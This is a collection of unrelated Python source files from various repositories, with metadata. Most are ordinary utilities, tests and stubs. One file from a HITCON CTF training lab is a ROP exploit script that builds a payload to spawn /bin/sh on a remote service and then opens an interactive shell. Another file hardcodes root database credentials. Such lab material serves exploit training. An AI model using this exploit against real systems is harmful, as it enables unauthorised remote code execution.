82649e31d9ab30ab8decd2b58f4e319dc2b17ae5

[ "MIT" ]

null

setup.py

jallen13/google_auth

82649e31d9ab30ab8decd2b58f4e319dc2b17ae5

[ "MIT" ]

null

setup.py

jallen13/google_auth

82649e31d9ab30ab8decd2b58f4e319dc2b17ae5

[ "MIT" ]

null

from setuptools import setup, find_packages setup(name='google-api-auth', version='0.1.0', description = 'Google APIs authentication', author = 'John Allen', url = 'https://github.com/jallen13/google-api-auth.git', packages = find_packages() )

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null

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null

0

1

0

2

37989f1ff5783f7a7a43a7d7de2d3393d35737b5

909

py

Python

src/mapping/database.py

makerere-compute/cropsurveillance

0d15e98cb92efdd6e19cf7ad840a4fd88e834d6e

[ "CC-BY-3.0" ]

4

2015-01-09T18:47:12.000Z

2018-11-09T17:29:00.000Z

src/mapping/database.py

makerere-compute/cropsurveillance

0d15e98cb92efdd6e19cf7ad840a4fd88e834d6e

[ "CC-BY-3.0" ]

null

src/mapping/database.py

makerere-compute/cropsurveillance

0d15e98cb92efdd6e19cf7ad840a4fd88e834d6e

[ "CC-BY-3.0" ]

null

#this script is for saving data to the mysql database import MySQLdb #create a connection to the datase conn = MySQLdb.connect (host = "localhost", user = "root", passwd = "root", db = "cropsurveillance") cursor = conn.cursor () cursor.execute ("SELECT VERSION()") row = cursor.fetchone () #print server version print "server version:", row[0] #this function save data to the database def savetile(zoomlevel,tile_lon_ul,tile_lat_ul,tile_lon_lr,tile_lat_lr,tile_blob): sql = "INSERT INTO imagetiles (zoom,tile_lon_ul,tile_lat_ul,tile_lon_lr,tile_lat_lr,tile_blob) VALUES (%s,%s,%s,%s,%s,%s)" cursor.execute(sql, (zoomlevel,tile_lon_ul,tile_lat_ul,tile_lon_lr,tile_lat_lr,tile_blob)) print "inserted" def closeCursor(): cursor.close() #close the connection to the database def closeConnection(): conn.close()

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909

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null

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null

0

1

0

1

0

2

37affdcf85d08d1a85b7605e0de7eb84243b2279

334

py

Python

conftest.py

tetsuzawa/dxx-py

8c63327b8814bdd3499c1696b5a5f0eb9fe7fc76

[ "MIT" ]

null

conftest.py

tetsuzawa/dxx-py

8c63327b8814bdd3499c1696b5a5f0eb9fe7fc76

[ "MIT" ]

null

conftest.py

tetsuzawa/dxx-py

8c63327b8814bdd3499c1696b5a5f0eb9fe7fc76

[ "MIT" ]

null

import pytest import os import numpy as np import dxx @pytest.fixture(scope="module") def mock_data_file() -> str: mock_file_name = "mock.DSB" sampling_freq = 48000 mock_data = np.arange(5 * sampling_freq, dtype=np.int16) dxx.write(mock_file_name, mock_data) yield mock_file_name os.remove(mock_file_name)

19.647059

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334

4.301887

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0.140351

0.210526

0.140351

0

0.029197

0.179641

334

16

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20.875

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0.083333

false

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0.333333

0

0.416667

0

null

0

1

0

null

0

1

0

2

37c76b67f2a2e641db79f29db294b819d3490024

449

py

Python

stubs/m5stack_flowui-1_4_0-beta/flowlib/lib/emoji.py

RonaldHiemstra/micropython-stubs

d97f879b01f6687baaebef1c7e26a80909c3cff3

[ "MIT" ]

38

2020-10-18T21:59:44.000Z

2022-03-17T03:03:28.000Z

stubs/m5stack_flowui-1_4_0-beta/flowlib/lib/emoji.py

RonaldHiemstra/micropython-stubs

d97f879b01f6687baaebef1c7e26a80909c3cff3

[ "MIT" ]

176

2020-10-18T14:31:03.000Z

2022-03-30T23:22:39.000Z

stubs/m5stack_flowui-1_4_0-beta/flowlib/lib/emoji.py

RonaldHiemstra/micropython-stubs

d97f879b01f6687baaebef1c7e26a80909c3cff3

[ "MIT" ]

6

2020-12-28T21:11:12.000Z

2022-02-06T04:07:50.000Z

""" Module: 'flowlib.lib.emoji' on M5 FlowUI v1.4.0-beta """ # MCU: (sysname='esp32', nodename='esp32', release='1.11.0', version='v1.11-284-g5d8e1c867 on 2019-08-30', machine='ESP32 module with ESP32') # Stubber: 1.3.1 class Emoji: '' def clear(): pass def draw_square(): pass def show_love(): pass def show_map(): pass def show_normal(): pass lcd = None def sleep(): pass

16.035714

141

0.572383

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3.953125

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0.130435

0

0.119266

0.271715

449

27

142

16.62963

0.654434

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0

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0

null

0

null

0

1

0

1

0

2

8071919e1aa95195ef61c58834f2f2d4ada4535d

258

py

Python

examples/microblogging/init_db.py

half-cambodian-hacker-man/lustre

93e2196a962cafcfd7fa0be93a6b0d563c46ba75

[ "MIT" ]

3

2020-09-06T02:21:09.000Z

2020-09-30T00:05:54.000Z

examples/microblogging/init_db.py

videogame-hacker/lustre

93e2196a962cafcfd7fa0be93a6b0d563c46ba75

[ "MIT" ]

null

examples/microblogging/init_db.py

videogame-hacker/lustre

93e2196a962cafcfd7fa0be93a6b0d563c46ba75

[ "MIT" ]

null

#!/usr/bin/env python3 from run_dev import random_secret_key random_secret_key() from microblogging import app, DATABASE_URL from sqlalchemy import create_engine if __name__ == "__main__": app.db.metadata.create_all(create_engine(str(DATABASE_URL)))

21.5

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0.126984

0.15873

0

0.004367

0.112403

258

11

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0

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true

0

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0.5

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null

0

null

0

1

0

1

0

2

8073b4266438788859aadc127c07d0e44167bfe7

408

py

Python

spotify_dl/models.py

kaiulr/spotify1-dl

3d2e3c33f2c697c4a936f8c0a89a04564bca0c74

[ "MIT" ]

1

2021-03-30T06:29:18.000Z

spotify_dl/models.py

tonyd33/spotify-dl

f453ad8e9ab3de45064045bfb8e7ae46434e31eb

[ "MIT" ]

null

spotify_dl/models.py

tonyd33/spotify-dl

f453ad8e9ab3de45064045bfb8e7ae46434e31eb

[ "MIT" ]

null

from peewee import SqliteDatabase from peewee import Model, TextField from os import path from pathlib import Path from spotify_dl.constants import SAVE_PATH Path(path.expanduser(SAVE_PATH)).mkdir(exist_ok=True) db = SqliteDatabase(path.expanduser(f"{SAVE_PATH}/songs.db")) class Song(Model): search_term = TextField() video_id = TextField() class Meta: database = db

24

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0.72549

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5.254545

0.527273

0.083045

0.110727

0

0.191176

408

16

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0

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0

1

0

false

0

0.416667

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0.75

0

null

0

null

0

1

0

1

0

2

807ff9a0013174ce9485ba56d32cbc72ac6a8cdb

601

py

Python

examples/arith.py

pcanz/pPEGpy

f4dc1bb3bfc56feaba5add5b815adf4a2768b909

[ "MIT" ]

null

examples/arith.py

pcanz/pPEGpy

f4dc1bb3bfc56feaba5add5b815adf4a2768b909

[ "MIT" ]

null

examples/arith.py

pcanz/pPEGpy

f4dc1bb3bfc56feaba5add5b815adf4a2768b909

[ "MIT" ]

null

import pPEG print("Arith operatpr expression example....") arith = pPEG.compile(""" exp = add add = sub ('+' sub)* sub = mul ('-' mul)* mul = div ('*' div)* div = pow ('/' pow)* pow = val ('^' val)* grp = '(' exp ')' val = " " (sym / num / grp) " " sym = [a-zA-Z]+ num = [0-9]+ """) tests = [ " 1 + 2 * 3 ", "x^2^3 - 1" ]; for test in tests: p = arith.parse(test) print(p) # 1+2*3 ==> (+ 1 (* 2 3)) # ["add",[["num","1"],["mul",[["num","2"],["num","3"]]]]] # x^2^3+1 ==> (+ (^ x 2 3) 1) # ["add",[["pow",[["sym","x"],["num","2"],["num","3"]]],["num","1"]]]

18.212121

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0.404326

90

601

2.7

0.366667

0.049383

0.041152

0

0.057269

0.244592

601

32

70

18.78125

0.477974

0.291181

0

0.648456

0

1

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false

0

0.047619

0

0.047619

0.095238

0

null

0

1

0

1

0

null

0

2

808745cd6599b35823fa3a5f9fd93d09258ade85

1,519

py

Python

Selenium_learning/04_ElementSendSmsTest.py

yeyuning1/AutoTT

1ce88e9e73d71fa11d4d8ad12bd6741aa71f97d2

[ "MIT" ]

null

Selenium_learning/04_ElementSendSmsTest.py

yeyuning1/AutoTT

1ce88e9e73d71fa11d4d8ad12bd6741aa71f97d2

[ "MIT" ]

1

2021-06-02T00:24:41.000Z

Selenium_learning/04_ElementSendSmsTest.py

yeyuning1/AutoTT

1ce88e9e73d71fa11d4d8ad12bd6741aa71f97d2

[ "MIT" ]

null

from selenium import webdriver from time import sleep import unittest class SendMsgCase(unittest.TestCase): def setUp(self): self.dr = webdriver.Chrome() self.dr.get('https://h5.ele.me/login/#redirect=https%3A%2F%2Fwww.ele.me%2Fhome%2F') self.dr.implicitly_wait(10) # 封装CSS定位方法 def by_css(self, css): return self.dr.find_element_by_css_selector(css) # 手机号码输入框定位 def mobile_phone_input_box(self): return self.by_css('[type = "tel"]') # 【免费获取验证码】按钮定位 def send_msg_button(self): return self.by_css('.CountButton-3e-kd') # 获取发送验证码成功文本信息 def send_msg_successful_text(self): return self.by_css('#registerContainer > div > div.codeSendHint').text # 发送验证码 def send_msg(self, mobile_phone): self.mobile_phone_input_box().send_keys(mobile_phone) self.send_msg_button().click() # 测试用例 def test_send_msg_button(self): # 发送验证码 self.send_msg('178****5756') sleep(2) # 验证【免费获取验证码】按钮被禁用 self.assertFalse(self.send_msg_button().is_enabled()) # 期望结果 expected_result = '已发送' # 预期结果 actual_result = self.send_msg_button().text # 验证实际结果包含预期结果 “已经发送” self.assertTrue(expected_result in actual_result) def test_login_with_smscode(self): # 连接到redis服务器取出smscode，点击登陆获取状态返回码是否正确 pass def tearDown(self): self.dr.quit() if __name__ == '__main__': unittest.main()

24.5

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1,519

4.737113

0.484536

0.060936

0.070729

0.052231

0.062024

0

0.014925

0.250165

1,519

61

92

24.901639

0.791923

0.107966

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0.03125

0.123134

0

0.0625

1

0.28125

false

0.03125

0.09375

0.125

0.53125

0

null

0

null

0

1

0

1

0

2

8098f59fb4f00fc445f8a807e5cbe4d479fa92bf

863

py

Python

HITCON-Training/LAB/lab5/simplerop.py

kernweak/HITCON-Training-writeup

cb9c7ca3dbb8bc22ad41bd94bf5b9f929823aa7c

[ "MIT" ]

30

2017-09-05T14:29:30.000Z

2022-03-20T01:51:29.000Z

HITCON-Training/LAB/lab5/simplerop.py

kernweak/HITCON-Training-writeup

cb9c7ca3dbb8bc22ad41bd94bf5b9f929823aa7c

[ "MIT" ]

null

HITCON-Training/LAB/lab5/simplerop.py

kernweak/HITCON-Training-writeup

cb9c7ca3dbb8bc22ad41bd94bf5b9f929823aa7c

[ "MIT" ]

7

2018-03-15T10:07:43.000Z

2020-12-14T09:36:19.000Z

#!/usr/bin/env python # -*- coding: utf-8 -*- from pwnpwnpwn import * from pwn import * host = "10.211.55.28" port = 8888 r = remote(host,port) gadget = 0x809a15d # mov dword ptr [edx], eax ; ret pop_eax_ret = 0x80bae06 pop_edx_ret = 0x806e82a pop_edx_ecx_ebx = 0x0806e850 pop_eax_ret = 0x080bae06 buf = 0x80ea060 int_80 = 0x80493e1 #write to memory payload = "a"*32 payload += p32(pop_edx_ret) payload += p32(buf) payload += p32(pop_eax_ret) payload += "/bin" payload += p32(gadget) payload += p32(pop_edx_ret) payload += p32(buf+4) payload += p32(pop_eax_ret) payload += "/sh\x00" payload += p32(gadget) #write to register payload += p32(pop_edx_ecx_ebx) payload += p32(0) payload += p32(0) payload += p32(buf) payload += p32(pop_eax_ret) payload += p32(0xb) payload += p32(int_80) print len(payload) r.recvuntil(":") r.sendline(payload) r.interactive()

18.76087

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0.70336

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863

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0.144844

863

45

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0

null

1

0

null

0

1

0

2

809fb67389f1a15a5e682873f0a520242ed9aef8

3,980

py

Python

Credential-Adder-User-Input.py

Wason1/Cerner-Credential-Auto-Adder

fa42508661d352dbc6aea6858f6b8a54a7533184

[ "MIT" ]

null

Credential-Adder-User-Input.py

Wason1/Cerner-Credential-Auto-Adder

fa42508661d352dbc6aea6858f6b8a54a7533184

[ "MIT" ]

null

Credential-Adder-User-Input.py

Wason1/Cerner-Credential-Auto-Adder

fa42508661d352dbc6aea6858f6b8a54a7533184

[ "MIT" ]

null

# This adds credentials to the pool for the credential box # Asks user for year and users to add start_day = 1 start_month = 1 #start_year = 1904 #users_to_add = 100 users_to_add = int(input('how many users do you want to add?')) print('Be aware a user can not have a duplicate credential with the same start date') start_year = int(input('what year shall the creds start at (choose a year before 2018)?')) # IMPORT LIBRARIES import pyautogui import time import pygetwindow as gw from ahk import AHK ahk = AHK() pyautogui.FAILSAFE = True # Activate HNA User Window try: myWindow = gw.getWindowsWithTitle('User Maint')[0] myWindow.activate() myWindow.maximize() except: print('could not maximise User Maintenance window') time.sleep(1) # Switch Search Field to Username ahk.key_press('F10') time.sleep(0.1) ahk.key_press('down') time.sleep(0.1) ahk.key_press('down') time.sleep(0.1) ahk.key_press('down') time.sleep(0.1) ahk.key_press('down') time.sleep(0.1) ahk.key_press('right') time.sleep(0.1) ahk.key_press('down') time.sleep(0.1) ahk.key_press('enter') time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) # Open Credential Box user = 'credentialbox' pyautogui.typewrite(user, interval=0.1) ahk.key_press('Enter') # Select Credential Button time.sleep(1) ahk.key_press('f10') time.sleep(0.1) ahk.key_press('down') time.sleep(0.1) ahk.key_press('down') time.sleep(0.1) ahk.key_press('right') time.sleep(0.1) ahk.key_press('c') time.sleep(1) count = int(0) while count < users_to_add: # Click on create new credential if count == 0: time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) ahk.key_press('down') time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) else: time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) ahk.key_press('down') time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) #Choose Credential to_type = 'a' pyautogui.typewrite(to_type, interval=0.1) time.sleep(0.1) # Go to type of licence ahk.key_press('tab') time.sleep(0.4) # Choose Licence ahk.key_press('l') time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) # Enter date day = "{0:0=2d}".format(start_day) # convert two digit month = "{0:0=2d}".format(start_month) # convert two digit year = str(start_year) # year to string pyautogui.typewrite(day, interval=0.1) pyautogui.typewrite(month, interval=0.1) pyautogui.typewrite(year, interval=0.1) # Get date for next round start_day +=1 if start_day > 25: start_day = int(1) start_month += 1 if start_month > 12: start_day = 1 start_month = 1 start_year +=1 # Hit Apply time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) ahk.key_press('enter') time.sleep(2) # delete credential ahk.key_press('tab') time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) ahk.key_press('space') time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) ahk.key_press('enter') # Apply deletion time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) ahk.key_press('tab') time.sleep(0.1) ahk.key_press('enter') time.sleep(1) count +=1

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80c24487375fb8fc999bda53d3ebbccc9fadf09d

411

py

Python

mrpod/__init__.py

chuckedfromspace/mrpod

ed831ddb6c1c634767149630effec0e766b54e4a

[ "BSD-3-Clause" ]

4

2020-12-06T17:03:21.000Z

2021-05-26T22:07:59.000Z

mrpod/__init__.py

chuckedfromspace/mrpod

ed831ddb6c1c634767149630effec0e766b54e4a

[ "BSD-3-Clause" ]

null

mrpod/__init__.py

chuckedfromspace/mrpod

ed831ddb6c1c634767149630effec0e766b54e4a

[ "BSD-3-Clause" ]

null

""" MRPOD """ from __future__ import division, print_function, absolute_import from .wavelet_transform import scale_to_frq, time_shift, CompositeFilter, WaveletTransform from .modal_decomposition import (pod_eigendecomp, pod_modes, mrpod_eigendecomp, mrpod_detail_bundle) from .utils import pkl_dump, pkl_load from ._version import __version__ __all__ = [s for s in dir()]

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